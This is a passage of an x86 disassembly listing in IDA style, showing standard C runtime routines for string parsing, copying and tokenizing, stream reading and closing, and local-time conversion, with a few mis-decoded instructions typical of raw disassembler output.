		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_412720	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_412A55	proc near		; CODE XREF: sub_4037EC+34p
					; sub_4037EC+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_412071
		pop	ecx
		pop	ecx
		retn
sub_412A55	endp


; =============== S U B	R O U T	I N E =======================================



sub_412A63	proc near		; CODE XREF: sub_412AD0+4p

arg_0		= dword	ptr  4

		push	esi
		push	ds:dword_4625F4
		call	sub_416AE8
		mov	edx, ds:dword_4625F4
		pop	ecx
		mov	ecx, ds:dword_4625F0
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_412AC2
		push	edx
		call	sub_416AE8
		add	eax, 10h
		push	eax
		push	ds:dword_4625F4
		call	sub_4137CF
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_412AA5
		retn
; ---------------------------------------------------------------------------


loc_412AA5:				; CODE XREF: sub_412A63+3Fj
		mov	ecx, ds:dword_4625F0
		sub	ecx, ds:dword_4625F4
		mov	ds:dword_4625F4, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	ds:dword_4625F0, ecx


loc_412AC2:				; CODE XREF: sub_412A63+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	ds:dword_4625F0, 4
		retn
sub_412A63	endp


; =============== S U B	R O U T	I N E =======================================



sub_412AD0	proc near		; CODE XREF: sub_4038D9+1Ap
					; sub_41C42E+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_412A63
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_412AD0	endp


; =============== S U B	R O U T	I N E =======================================



sub_412AE2	proc near		; DATA XREF: seg002:0041F018o
		push	80h
		call	sub_41205F
		test	eax, eax
		pop	ecx
		mov	ds:dword_4625F4, eax
		jnz	short loc_412B03
		push	18h
		call	sub_413F2E
		mov	eax, ds:dword_4625F4
		pop	ecx


loc_412B03:				; CODE XREF: sub_412AE2+12j
		and	dword ptr [eax], 0
		mov	eax, ds:dword_4625F4
		mov	ds:dword_4625F0, eax
		retn
sub_412AE2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412B11	proc near		; CODE XREF: sub_412D19+Ep

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		and	[ebp+var_8], 0
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	bl, [edi]
		lea	esi, [edi+1]
		mov	[ebp+var_4], esi


loc_412B29:				; CODE XREF: sub_412B11+46j
		cmp	ds:dword_42FA7C, 1
		jle	short loc_412B41
		movzx	eax, bl
		push	8
		push	eax
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_412B50
; ---------------------------------------------------------------------------


loc_412B41:				; CODE XREF: sub_412B11+1Fj
		mov	ecx, ds:off_42F870
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_412B50:				; CODE XREF: sub_412B11+2Ej
		test	eax, eax
		jz	short loc_412B59
		mov	bl, [esi]
		inc	esi
		jmp	short loc_412B29
; ---------------------------------------------------------------------------


loc_412B59:				; CODE XREF: sub_412B11+41j
		cmp	bl, 2Dh
		mov	[ebp+var_4], esi
		jnz	short loc_412B67
		or	[ebp+arg_C], 2
		jmp	short loc_412B6C
; ---------------------------------------------------------------------------


loc_412B67:				; CODE XREF: sub_412B11+4Ej
		cmp	bl, 2Bh
		jnz	short loc_412B72


loc_412B6C:				; CODE XREF: sub_412B11+54j
		mov	bl, [esi]
		inc	esi
		mov	[ebp+var_4], esi


loc_412B72:				; CODE XREF: sub_412B11+59j
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jl	loc_412D09
		cmp	eax, 1
		jz	loc_412D09
		cmp	eax, 24h
		jg	loc_412D09
		push	10h
		test	eax, eax
		pop	ecx
		jnz	short loc_412BBA
		cmp	bl, 30h
		jz	short loc_412BA4
		mov	[ebp+arg_8], 0Ah
		jmp	short loc_412BD6
; ---------------------------------------------------------------------------


loc_412BA4:				; CODE XREF: sub_412B11+88j
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_412BB7
		cmp	al, 58h
		jz	short loc_412BB7
		mov	[ebp+arg_8], 8
		jmp	short loc_412BD6
; ---------------------------------------------------------------------------


loc_412BB7:				; CODE XREF: sub_412B11+97j
					; sub_412B11+9Bj
		mov	[ebp+arg_8], ecx


loc_412BBA:				; CODE XREF: sub_412B11+83j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_412BD6
		cmp	bl, 30h
		jnz	short loc_412BD6
		mov	al, [esi]
		cmp	al, 78h
		jz	short loc_412BCE
		cmp	al, 58h
		jnz	short loc_412BD6


loc_412BCE:				; CODE XREF: sub_412B11+B7j
		mov	bl, [esi+1]
		inc	esi
		inc	esi
		mov	[ebp+var_4], esi


loc_412BD6:				; CODE XREF: sub_412B11+91j
					; sub_412B11+A4j ...
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		mov	edi, 103h
		mov	[ebp+var_C], eax


loc_412BE6:				; CODE XREF: sub_412B11+16Cj
		cmp	ds:dword_42FA7C, 1
		movzx	esi, bl
		jle	short loc_412BFE
		push	4
		push	esi
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_412C09
; ---------------------------------------------------------------------------


loc_412BFE:				; CODE XREF: sub_412B11+DFj
		mov	eax, ds:off_42F870
		mov	al, [eax+esi*2]
		and	eax, 4


loc_412C09:				; CODE XREF: sub_412B11+EBj
		test	eax, eax
		jz	short loc_412C15
		movsx	ecx, bl
		sub	ecx, 30h
		jmp	short loc_412C47
; ---------------------------------------------------------------------------


loc_412C15:				; CODE XREF: sub_412B11+FAj
		cmp	ds:dword_42FA7C, 1
		jle	short loc_412C29
		push	edi
		push	esi
		call	sub_414896
		pop	ecx
		pop	ecx
		jmp	short loc_412C34
; ---------------------------------------------------------------------------


loc_412C29:				; CODE XREF: sub_412B11+10Bj
		mov	eax, ds:off_42F870
		mov	ax, [eax+esi*2]
		and	eax, edi


loc_412C34:				; CODE XREF: sub_412B11+116j
		test	eax, eax
		jz	short loc_412C82
		movsx	eax, bl
		push	eax
		call	sub_416B11
		pop	ecx
		mov	ecx, eax
		sub	ecx, 37h


loc_412C47:				; CODE XREF: sub_412B11+102j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_412C82
		mov	esi, [ebp+var_8]
		or	[ebp+arg_C], 8
		cmp	esi, [ebp+var_C]
		jb	short loc_412C6C
		jnz	short loc_412C66
		or	eax, 0FFFFFFFFh
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ecx, edx
		jbe	short loc_412C6C


loc_412C66:				; CODE XREF: sub_412B11+147j
		or	[ebp+arg_C], 4
		jmp	short loc_412C75
; ---------------------------------------------------------------------------


loc_412C6C:				; CODE XREF: sub_412B11+145j
					; sub_412B11+153j
		imul	esi, [ebp+arg_8]
		add	esi, ecx
		mov	[ebp+var_8], esi


loc_412C75:				; CODE XREF: sub_412B11+159j
		mov	eax, [ebp+var_4]
		inc	[ebp+var_4]
		mov	bl, [eax]
		jmp	loc_412BE6
; ---------------------------------------------------------------------------


loc_412C82:				; CODE XREF: sub_412B11+125j
					; sub_412B11+139j
		mov	ecx, [ebp+arg_C]
		dec	[ebp+var_4]
		mov	edx, [ebp+arg_4]
		test	cl, 8
		jnz	short loc_412CA0
		test	edx, edx
		jz	short loc_412C9A
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax


loc_412C9A:				; CODE XREF: sub_412B11+181j
		and	[ebp+var_8], 0
		jmp	short loc_412CED
; ---------------------------------------------------------------------------


loc_412CA0:				; CODE XREF: sub_412B11+17Dj
		test	cl, 4
		mov	eax, 7FFFFFFFh
		jnz	short loc_412CC6
		test	cl, 1
		jnz	short loc_412CED
		and	ecx, 2
		jz	short loc_412CBD
		cmp	[ebp+var_8], 80000000h
		ja	short loc_412CC6


loc_412CBD:				; CODE XREF: sub_412B11+1A1j
		test	ecx, ecx
		jnz	short loc_412CED
		cmp	[ebp+var_8], eax
		jbe	short loc_412CED


loc_412CC6:				; CODE XREF: sub_412B11+197j
					; sub_412B11+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	ds:dword_460F8C, 22h
		jz	short loc_412CDC
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_412CED
; ---------------------------------------------------------------------------


loc_412CDC:				; CODE XREF: sub_412B11+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_412CED:				; CODE XREF: sub_412B11+18Dj
					; sub_412B11+19Cj ...
		test	edx, edx
		jz	short loc_412CF6
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_412CF6:				; CODE XREF: sub_412B11+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_412D04
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_412D04:				; CODE XREF: sub_412B11+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_412D14
; ---------------------------------------------------------------------------


loc_412D09:				; CODE XREF: sub_412B11+66j
					; sub_412B11+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_412D12
		mov	[eax], edi


loc_412D12:				; CODE XREF: sub_412B11+1FDj
		xor	eax, eax


loc_412D14:				; CODE XREF: sub_412B11+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_412B11	endp


; =============== S U B	R O U T	I N E =======================================



sub_412D19	proc near		; CODE XREF: sub_403BAC+4BDp
					; seg000:0040D0C5p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_412B11
		add	esp, 10h
		retn
sub_412D19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D30	proc near		; CODE XREF: sub_403BAC+266p
					; sub_403BAC+46Ap ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_411FB0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_416BDD
		add	esp, 10h
		leave
		retn
sub_412D30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412D64	proc near		; CODE XREF: sub_403BAC+4Ep

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		call	ds:dword_41D100	; GetLocalTime
		lea	eax, [ebp+var_20]
		push	eax
		call	near ptr 0A70000h
		insd
		mov	ax, [ebp+var_16]
		cmp	ax, ds:word_460F82
		jnz	short loc_412DC9
		mov	ax, [ebp+var_18]
		cmp	ax, ds:word_460F80
		jnz	short loc_412DC9
		mov	ax, [ebp+var_1A]
		cmp	ax, ds:word_460F7E
		jnz	short loc_412DC9
		mov	ax, [ebp+var_1E]
		cmp	ax, ds:word_460F7A
		jnz	short loc_412DC9
		mov	ax, [ebp+var_20]
		cmp	ax, ds:word_460F78
		jnz	short loc_412DC9
		mov	eax, ds:dword_460F70
		jmp	short loc_412E0E
; ---------------------------------------------------------------------------


loc_412DC9:				; CODE XREF: sub_412D64+28j
					; sub_412D64+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		call	near ptr 0A70000h
		add	eax, [ebx+1B74FFF8h]
		cmp	eax, 2
		jnz	short loc_412DF2
		cmp	[ebp+var_32], 0
		jz	short loc_412DF2
		cmp	[ebp+var_24], 0
		jz	short loc_412DF2
		push	1
		pop	eax
		jmp	short loc_412DF9
; ---------------------------------------------------------------------------


loc_412DF2:				; CODE XREF: sub_412D64+7Aj
					; sub_412D64+81j ...
		xor	eax, eax
		jmp	short loc_412DF9
; ---------------------------------------------------------------------------
		or	eax, 0FFFFFFFFh


loc_412DF9:				; CODE XREF: sub_412D64+8Cj
					; sub_412D64+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_460F78
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	ds:dword_460F70, eax
		pop	esi


loc_412E0E:				; CODE XREF: sub_412D64+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_41768E
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_412E3E
		mov	[ecx], eax

locret_412E3E:				; CODE XREF: sub_412D64+D6j
		leave
		retn
sub_412D64	endp


; =============== S U B	R O U T	I N E =======================================



sub_412E40	proc near		; CODE XREF: seg000:004042A8p
					; sub_4053E1+4B5p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_412E55
		or	eax, 0FFFFFFFFh
		jmp	short loc_412E8F
; ---------------------------------------------------------------------------


loc_412E55:				; CODE XREF: sub_412E40+Ej
		test	al, 83h
		jz	short loc_412E8D
		push	esi
		call	sub_417869
		push	esi
		mov	edi, eax
		call	sub_417803
		push	dword ptr [esi+10h]
		call	sub_417750
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_412E7B
		or	edi, 0FFFFFFFFh
		jmp	short loc_412E8D
; ---------------------------------------------------------------------------


loc_412E7B:				; CODE XREF: sub_412E40+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_412E8D
		push	eax
		call	sub_4120D3
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_412E8D:				; CODE XREF: sub_412E40+17j
					; sub_412E40+39j ...
		mov	eax, edi


loc_412E8F:				; CODE XREF: sub_412E40+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_412E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_412E96	proc near		; CODE XREF: seg000:0040427Ap
					; sub_4053E1+30Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_412EBA
		xor	eax, eax
		jmp	loc_412F63
; ---------------------------------------------------------------------------


loc_412EBA:				; CODE XREF: sub_412E96+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_412ECD
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_412ED9
; ---------------------------------------------------------------------------


loc_412ECD:				; CODE XREF: sub_412E96+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_412ED9
; ---------------------------------------------------------------------------


loc_412ED6:				; CODE XREF: sub_412E96+C4j
		mov	ecx, [ebp+arg_0]


loc_412ED9:				; CODE XREF: sub_412E96+35j
					; sub_412E96+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_412F0B
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_412F0B
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_412EF0
		mov	edi, eax


loc_412EF0:				; CODE XREF: sub_412E96+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_411A40
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_412F56
; ---------------------------------------------------------------------------


loc_412F0B:				; CODE XREF: sub_412E96+49j
					; sub_412E96+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_412F3E
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_412F21
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_412F21:				; CODE XREF: sub_412E96+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_417A14
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_412F68
		cmp	eax, 0FFFFFFFFh
		jz	short loc_412F6E
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_412F56
; ---------------------------------------------------------------------------


loc_412F3E:				; CODE XREF: sub_412E96+78j
		push	esi
		call	sub_41793B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_412F72
		mov	[ebx], al


loc_412F4C:				; DATA XREF: seg002:off_423EC4o
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_412F56:				; CODE XREF: sub_412E96+73j
					; sub_412E96+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_412ED6
		mov	eax, [ebp+arg_8]


loc_412F63:				; CODE XREF: sub_412E96+1Fj
					; sub_412E96+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_412F68:				; CODE XREF: sub_412E96+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_412F72
; ---------------------------------------------------------------------------


loc_412F6E:				; CODE XREF: sub_412E96+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_412F72:				; CODE XREF: sub_412E96+B2j
					; sub_412E96+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_412F63
sub_412E96	endp


; =============== S U B	R O U T	I N E =======================================



sub_412F7E	proc near		; CODE XREF: sub_412F9E+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_417D7A
		test	eax, eax
		jnz	short loc_412F88
		retn
; ---------------------------------------------------------------------------


loc_412F88:				; CODE XREF: sub_412F7E+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_417C0A
		add	esp, 10h
		retn
sub_412F7E	endp


; =============== S U B	R O U T	I N E =======================================



sub_412F9E	proc near		; CODE XREF: seg000:00404256p
					; sub_4053E1+134p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_412F7E
		add	esp, 0Ch
		retn
sub_412F9E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412FC0	proc near		; CODE XREF: sub_4042C6+2BFp
					; sub_407765+75p ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_413031
sub_412FC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_412FD0	proc near		; CODE XREF: seg000:00404A00p
					; sub_407765+6Ep ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_412FEC


loc_412FDD:				; CODE XREF: sub_412FD0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41301F
		test	ecx, 3
		jnz	short loc_412FDD


loc_412FEC:				; CODE XREF: sub_412FD0+Bj
					; sub_412FD0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_412FEC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41302E
		test	ah, ah
		jz	short loc_413029
		test	eax, 0FF0000h
		jz	short loc_413024
		test	eax, 0FF000000h
		jz	short loc_41301F
		jmp	short loc_412FEC
; ---------------------------------------------------------------------------


loc_41301F:				; CODE XREF: sub_412FD0+12j
					; sub_412FD0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_413031
; ---------------------------------------------------------------------------


loc_413024:				; CODE XREF: sub_412FD0+44j
		lea	edi, [ecx-2]
		jmp	short loc_413031
; ---------------------------------------------------------------------------


loc_413029:				; CODE XREF: sub_412FD0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_413031
; ---------------------------------------------------------------------------


loc_41302E:				; CODE XREF: sub_412FD0+39j
		lea	edi, [ecx-4]


loc_413031:				; CODE XREF: sub_412FC0+5j
					; sub_412FD0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_413056


loc_41303D:				; CODE XREF: sub_412FD0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_4130A8
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41303D
		jmp	short loc_413056
; ---------------------------------------------------------------------------


loc_413051:				; CODE XREF: sub_412FD0+9Ej
					; sub_412FD0+B8j
		mov	[edi], edx
		add	edi, 4


loc_413056:				; CODE XREF: sub_412FD0+6Bj
					; sub_412FD0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_413051
		test	dl, dl
		jz	short loc_4130A8
		test	dh, dh
		jz	short loc_41309F
		test	edx, 0FF0000h
		jz	short loc_413092
		test	edx, 0FF000000h
		jz	short loc_41308A
		jmp	short loc_413051
; ---------------------------------------------------------------------------


loc_41308A:				; CODE XREF: sub_412FD0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_413092:				; CODE XREF: sub_412FD0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41309F:				; CODE XREF: sub_412FD0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4130A8:				; CODE XREF: sub_412FD0+72j
					; sub_412FD0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_412FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4130B0	proc near		; CODE XREF: sub_4042C6+2B2p
					; seg000:004049A4p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_4130C9:				; CODE XREF: sub_4130B0+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_4130C9
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_4130F1
		mov	edx, ds:dword_460F88


loc_4130F1:				; CODE XREF: sub_4130B0+39j
					; sub_4130B0+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_413111
		test	al, al
		jz	short loc_413111
		inc	edx
		jmp	short loc_4130F1
; ---------------------------------------------------------------------------


loc_413111:				; CODE XREF: sub_4130B0+58j
					; sub_4130B0+5Cj
		mov	ebx, edx


loc_413113:				; CODE XREF: sub_4130B0+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_413137
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_413133
		inc	edx
		jmp	short loc_413113
; ---------------------------------------------------------------------------


loc_413133:				; CODE XREF: sub_4130B0+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_413137:				; CODE XREF: sub_4130B0+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	ds:dword_460F88, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_4130B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_413150	proc near		; CODE XREF: seg000:00404D07p
					; seg000:00405A87p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	short loc_4131D3
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_413174
		shr	ecx, 2
		jnz	short loc_4131E1
		jmp	short loc_413195
; ---------------------------------------------------------------------------


loc_413174:				; CODE XREF: sub_413150+1Bj
					; sub_413150+37j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	short loc_4131A2
		test	al, al
		jz	short loc_4131AA
		test	esi, 3
		jnz	short loc_413174
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4131E1


loc_413190:				; CODE XREF: sub_413150+8Fj
		and	ebx, 3
		jz	short loc_4131A2


loc_413195:				; CODE XREF: sub_413150+22j
					; sub_413150+50j
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		test	al, al
		jz	short loc_4131CE
		dec	ebx
		jnz	short loc_413195


loc_4131A2:				; CODE XREF: sub_413150+2Bj
					; sub_413150+43j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4131AA:				; CODE XREF: sub_413150+2Fj
		test	edi, 3
		jz	short loc_4131C4


loc_4131B2:				; CODE XREF: sub_413150+72j
		mov	[edi], al
		inc	edi
		dec	ecx
		jz	loc_413246
		test	edi, 3
		jnz	short loc_4131B2


loc_4131C4:				; CODE XREF: sub_413150+60j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_413237


loc_4131CB:				; CODE XREF: sub_413150+7Fj
					; sub_413150+F4j
		mov	[edi], al
		inc	edi


loc_4131CE:				; CODE XREF: sub_413150+4Dj
		dec	ebx
		jnz	short loc_4131CB
		pop	ebx
		pop	esi


loc_4131D3:				; CODE XREF: sub_413150+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4131D9:				; CODE XREF: sub_413150+A9j
					; sub_413150+C1j
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_413190


loc_4131E1:				; CODE XREF: sub_413150+20j
					; sub_413150+3Ej
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4131D9
		test	dl, dl
		jz	short loc_41322B
		test	dh, dh
		jz	short loc_413221
		test	edx, 0FF0000h
		jz	short loc_413217
		test	edx, 0FF000000h
		jnz	short loc_4131D9
		mov	[edi], edx
		jmp	short loc_41322F
; ---------------------------------------------------------------------------


loc_413217:				; CODE XREF: sub_413150+B9j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_41322F
; ---------------------------------------------------------------------------


loc_413221:				; CODE XREF: sub_413150+B1j
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_41322F
; ---------------------------------------------------------------------------


loc_41322B:				; CODE XREF: sub_413150+ADj
		xor	edx, edx
		mov	[edi], edx


loc_41322F:				; CODE XREF: sub_413150+C5j
					; sub_413150+CFj ...
		add	edi, 4
		xor	eax, eax
		dec	ecx
		jz	short loc_413241


loc_413237:				; CODE XREF: sub_413150+79j
		xor	eax, eax


loc_413239:				; CODE XREF: sub_413150+EFj
		mov	[edi], eax
		add	edi, 4
		dec	ecx
		jnz	short loc_413239


